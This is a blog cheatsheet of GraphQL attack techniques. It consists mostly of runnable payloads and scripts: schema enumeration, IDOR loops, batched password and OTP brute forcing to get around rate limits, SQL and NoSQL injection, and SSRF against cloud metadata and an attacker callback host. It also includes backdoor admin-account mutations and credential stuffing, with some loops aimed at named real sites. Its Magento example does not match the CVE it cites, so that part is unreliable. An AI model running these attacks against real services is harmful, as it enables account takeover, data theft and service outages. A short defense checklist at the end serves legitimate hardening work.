GraphQL Injection Cheatsheet: Introspection, IDOR, Batching & Injection Attacks | Tağmaç - root@Tagoletta:~#

GraphQL Injection Cheatsheet: Introspection, IDOR, Batching & Injection Attacks

Thu May 28 2026

Category: Cheatsheet


Introspection — Schema Enumeration

GraphQL introspection reveals the full schema: types, queries, mutations, fields.

# Full introspection query
{
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args { ...InputValue }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args { ...InputValue }
    type { ...TypeRef }
    isDeprecated
    deprecationReason
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
  possibleTypes { ...TypeRef }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } }
}
# Quick introspection via curl
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

# Use graphql-voyager or InQL to visualize

Field Suggestion Attack

When introspection is disabled, use typos to trigger suggestions:

# Send a typo — server may suggest correct field name
{ usr { id } }
# Error: "Did you mean 'user'?"

{ users { passwrd } }
# Error: "Did you mean 'password'?"

# Systematically probe field names
{ user { a } }
{ user { ad } }
{ user { adm } }
{ user { admi } }
{ user { admin } }
# Automate field discovery via suggestions
import requests, string

url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}

wordlist = ["id","name","email","password","token","role","admin","secret","key","hash","salt","phone","address","dob","ssn","credit"]

for field in wordlist:
    q = '{"query":"{ user { ' + field + ' } }"}'
    r = requests.post(url, data=q, headers=headers)
    if "Did you mean" not in r.text and "Cannot query field" not in r.text:
        print(f"[+] Valid field: {field}")
    elif "Did you mean" in r.text:
        print(f"[~] Suggestion for '{field}': {r.text[r.text.find('Did you mean'):][:60]}")

Authentication Bypass

# Try accessing protected queries without auth
{
  users {
    id
    email
    password
    role
  }
}

# Check if mutations work unauthenticated
mutation {
  createUser(username: "admin2", password: "hacked", role: "admin") {
    id
    token
  }
}

# Password reset without token
mutation {
  resetPassword(username: "admin", newPassword: "hacked") {
    success
  }
}

# Access another user's data (IDOR)
{
  user(id: "1") {
    id
    email
    privateNotes
    paymentMethods { cardNumber }
  }
}

IDOR — Object ID Manipulation

# Enumerate users by ID
{
  user(id: "1") { email role }
}

{
  user(id: "2") { email role }
}

# Access orders/invoices of other users
{
  order(id: "1001") {
    userId
    items { name price }
    totalAmount
    shippingAddress
  }
}

# Try UUIDs if sequential blocked
{
  user(id: "00000000-0000-0000-0000-000000000001") { email }
}

# Admin check via role field
{
  user(id: "1") { id email role isAdmin }
}
# Automate IDOR via curl loop
for id in $(seq 1 100); do
  result=$(curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer user_token" \
    -d "{\"query\":\"{ user(id: \\\"$id\\\") { id email role } }\"}")
  echo "ID $id: $result" | grep -v "null"
done

Query Batching — DoS & Brute Force

GraphQL allows multiple queries in one request:

[
  {"query": "{ user(id: \"1\") { email } }"},
  {"query": "{ user(id: \"2\") { email } }"},
  {"query": "{ user(id: \"3\") { email } }"}
]

Brute Force via Batching

import requests, json

url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Authorization": "Bearer attacker_token"}

# Brute force OTP in a single request (bypasses rate limiting per IP)
passwords = ["0000","1111","2222","3333","4444","5555","6666","7777","8888","9999"]
batch = [
    {"query": f'mutation {{ login(username: "admin", password: "{p}") {{ token }} }}'}
    for p in passwords
]

r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
    if "token" in str(res):
        print(f"[+] Valid password: {passwords[i]}")
        print(f"Token: {res}")

DoS via Query Depth / Complexity

# Deeply nested query → server CPU exhaustion
{
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                id email
              }
            }
          }
        }
      }
    }
  }
}
# Alias amplification — same expensive query executed N times
{
  a1: users { id email orders { id items { name } } }
  a2: users { id email orders { id items { name } } }
  a3: users { id email orders { id items { name } } }
  a4: users { id email orders { id items { name } } }
  a5: users { id email orders { id items { name } } }
}

SQL Injection via GraphQL Arguments

# If resolver passes args directly to SQL:
{
  user(id: "1 OR 1=1--") {
    id email
  }
}

{
  user(username: "admin'--") {
    id email password
  }
}

# Union-based
{
  user(id: "1 UNION SELECT 1,username,password,4 FROM users--") {
    id email
  }
}

# Time-based blind
{
  user(id: "1; IF(1=1, WAITFOR DELAY '0:0:5', 0)--") {
    id
  }
}

NoSQL Injection via GraphQL

# MongoDB operator injection through GraphQL
{
  user(username: "admin", password: {$gt: ""}) {
    id token
  }
}

# If variables are used:
query Login($username: String, $password: String) {
  user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "wrongpassword"}}

SSRF via GraphQL

# If schema includes URL-fetching functionality:
mutation {
  importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
    result
  }
}

mutation {
  webhook(url: "http://internal-service:8080/admin") {
    response
  }
}

# DNS callback for blind SSRF detection
mutation {
  importData(url: "http://attacker.burpcollaborator.net/graphql-ssrf") {
    result
  }
}

GraphQL Injection — Argument Pollution

# Send unexpected argument types
{
  user(id: null) { email }
}

{
  user(id: [1,2,3]) { email }
}

{
  user(id: {__proto__: {admin: true}}) { email }
}

# Integer overflow
{
  user(id: 9999999999999999999) { email }
}

# Empty string / whitespace
{
  user(id: "") { email }
}

{
  user(id: "  ") { email }
}

Mutation Abuse

# Create admin account
mutation {
  register(
    username: "backdoor",
    password: "Admin1234!",
    email: "[email protected]",
    role: "ADMIN"
  ) {
    id
    token
  }
}

# Mass assignment via mutation
mutation {
  updateProfile(
    id: "victim_id",
    data: {
      email: "[email protected]",
      password: "hacked",
      role: "admin",
      isVerified: true,
      balance: 99999
    }
  ) {
    success
  }
}

# Delete other users
mutation {
  deleteUser(id: "1") { success }
  deleteUser(id: "2") { success }
}

Subscription — Event Hijacking

# Subscribe to events belonging to another user
subscription {
  messageReceived(userId: "victim_id") {
    content
    sender {
      email
    }
    timestamp
  }
}

subscription {
  orderUpdate(orderId: "1001") {
    status
    trackingNumber
    shippingAddress
  }
}

GraphQL Path Traversal

# Uncommon GraphQL endpoints
/graphql
/graphiql
/api/graphql
/v1/graphql
/v2/graphql
/api/v1/graphql
/graph
/gql
/playground
/console
/explorer
/.well-known/graphql
/graphql/console
/graphql/playground
/api/explorer
# Discover GraphQL endpoint
ffuf -u https://target.com/FUZZ \
  -w /usr/share/wordlists/dirb/common.txt \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}' \
  -fc 404,405

Tools

# InQL — Burp extension + CLI
inql -t https://target.com/graphql -o output/

# GraphQL Map — attack automation
python3 graphqlmap.py -u https://target.com/graphql --method POST

# clairvoyance — field discovery without introspection
python3 -m clairvoyance -o schema.json https://target.com/graphql

# Altair GraphQL Client — GUI for exploration

# graphql-cop — security audit
python3 graphql-cop.py -t https://target.com/graphql

Real-World Examples

CVE / Incident Year Product Impact
HackerOne GraphQL IDOR 2019 HackerOne Read private bug reports via teamProfiles query — $20,000
Shopify GraphQL 2020 Shopify Partners IDOR in app query → read other stores' data
GitLab GraphQL 2021 GitLab projects query exposed private project names to unauthenticated users
CVE-2021-4191 2021 GitLab Unauthenticated introspection → user enumeration
Magento GraphQL 2022 Adobe Magento Auth bypass via batch mutation → account takeover
GitHub GraphQL 2018 GitHub repository query with owner arg → access private repo metadata

Example: HackerOne — Private Bug Reports via IDOR

# Step 1: Enable introspection (if available) or guess from API docs
curl -s -X POST https://hackerone.com/graphql \
  -H "Content-Type: application/json" \
  -H "Cookie: session=your_session" \
  -d '{"query":"{ __schema { types { name fields { name } } } "}' | python3 -m json.tool

# Step 2: Find report query — try accessing report by ID
curl -s -X POST https://hackerone.com/graphql \
  -H "Content-Type: application/json" \
  -H "Cookie: session=your_session" \
  -d '{"query":"{ report(id: 1234567) { title vulnerability_information } }"}'
# Response: private bug report of another researcher — IDOR!

# Step 3: Enumerate reports
for id in $(seq 1234500 1234600); do
  result=$(curl -s -X POST https://hackerone.com/graphql \
    -H "Content-Type: application/json" \
    -H "Cookie: session=your_session" \
    -d "{\"query\":\"{ report(id: $id) { title state } }\"}")
  echo "Report $id: $(echo $result | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d.get("data",{}).get("report",{}).get("title","null"))')"
done

Example: GitLab — Unauthenticated User Enumeration (CVE-2021-4191)

# CVE-2021-4191: unauthenticated GraphQL introspection exposed user query
# GitLab < 13.10.3 allowed introspection without authentication

# Step 1: Confirm introspection works
curl -s -X POST https://gitlab.target.com/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'
# Response: {"data":{"__typename":"Query"}} ← works without auth!

# Step 2: Enumerate users
curl -s -X POST https://gitlab.target.com/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { nodes { id username name publicEmail } } }"}'
# Returns all usernames, names, and public emails

# Step 3: Target with credentials stuffing
while read username; do
  curl -s -X POST https://gitlab.target.com/api/graphql \
    -d "{\"query\":\"mutation { userLogin(username: \\\"$username\\\", password: \\\"Summer2024!\\\") { token } }\"}" \
    -H "Content-Type: application/json"
done < usernames.txt

Example: GraphQL Batching — Rate Limit Bypass for OTP Brute Force

# Normal brute force: rate limited at 5 requests/minute
# GraphQL batching sends all guesses in ONE request

# Create batch of 10,000 OTP guesses
python3 << 'EOF'
import json, requests

url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Cookie": "session=attacker_token"}

# Build batch query for all 4-digit OTPs
batch = []
for code in range(10000):
    batch.append({
        "query": f'mutation {{ verifyOTP(userId: "victim123", code: "{str(code).zfill(4)}") {{ success token }} }}'
    })

# Send all 10,000 in one request (bypasses per-request rate limits)
r = requests.post(url, json=batch, headers=headers)
results = r.json()

for i, res in enumerate(results):
    if isinstance(res, dict) and res.get("data", {}).get("verifyOTP", {}).get("success"):
        print(f"[+] Valid OTP: {str(i).zfill(4)}")
        print(f"[+] Token: {res}")
        break
EOF

Example: Introspection Disabled → Field Discovery via Suggestions

# Target has introspection disabled — use clairvoyance for wordlist-based discovery
pip3 install clairvoyance

# Run discovery (will detect schema via suggestion errors)
python3 -m clairvoyance \
  -o discovered_schema.json \
  -H "Authorization: Bearer user_token" \
  https://target.com/graphql

# Convert discovered schema to human-readable
cat discovered_schema.json | python3 -c "
import sys, json
schema = json.load(sys.stdin)
for t in schema.get('__schema', {}).get('types', []):
    if not t['name'].startswith('__') and t.get('fields'):
        print(f\"\nType: {t['name']}\")
        for f in t['fields']:
            print(f\"  - {f['name']}: {f['type']}\")
"

Example: Magento GraphQL — Auth Bypass via Mutation (CVE-2022-24086)

# Step 1: Probe for unprotected mutations
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { createCustomer(input: {firstname:\"Test\",lastname:\"User\",email:\"[email protected]\",password:\"P@ss1234!\",is_subscribed:false}) { customer { email } } }"}'

# Step 2: Get customer token (login)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { generateCustomerToken(email:\"[email protected]\",password:\"P@ss1234!\") { token } }"}'

# Step 3: Access admin functionality with customer token
TOKEN="eyJ..."
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ customer { firstname lastname email orders { items { id } } } }"}'

Defense Checklist

  • Disable introspection in production (introspection: false)
  • Implement query depth limiting (max 5-7 levels)
  • Implement query complexity analysis and hard limits
  • Disable batching or limit batch size (max 10 queries)
  • Enforce per-user rate limiting, not just per-IP
  • Validate field arguments server-side before passing to resolvers
  • Apply authorization checks at the resolver level, not just at the route level
  • Use persistent queries (allowlisted queries only) in production
  • Log all GraphQL operations for audit

References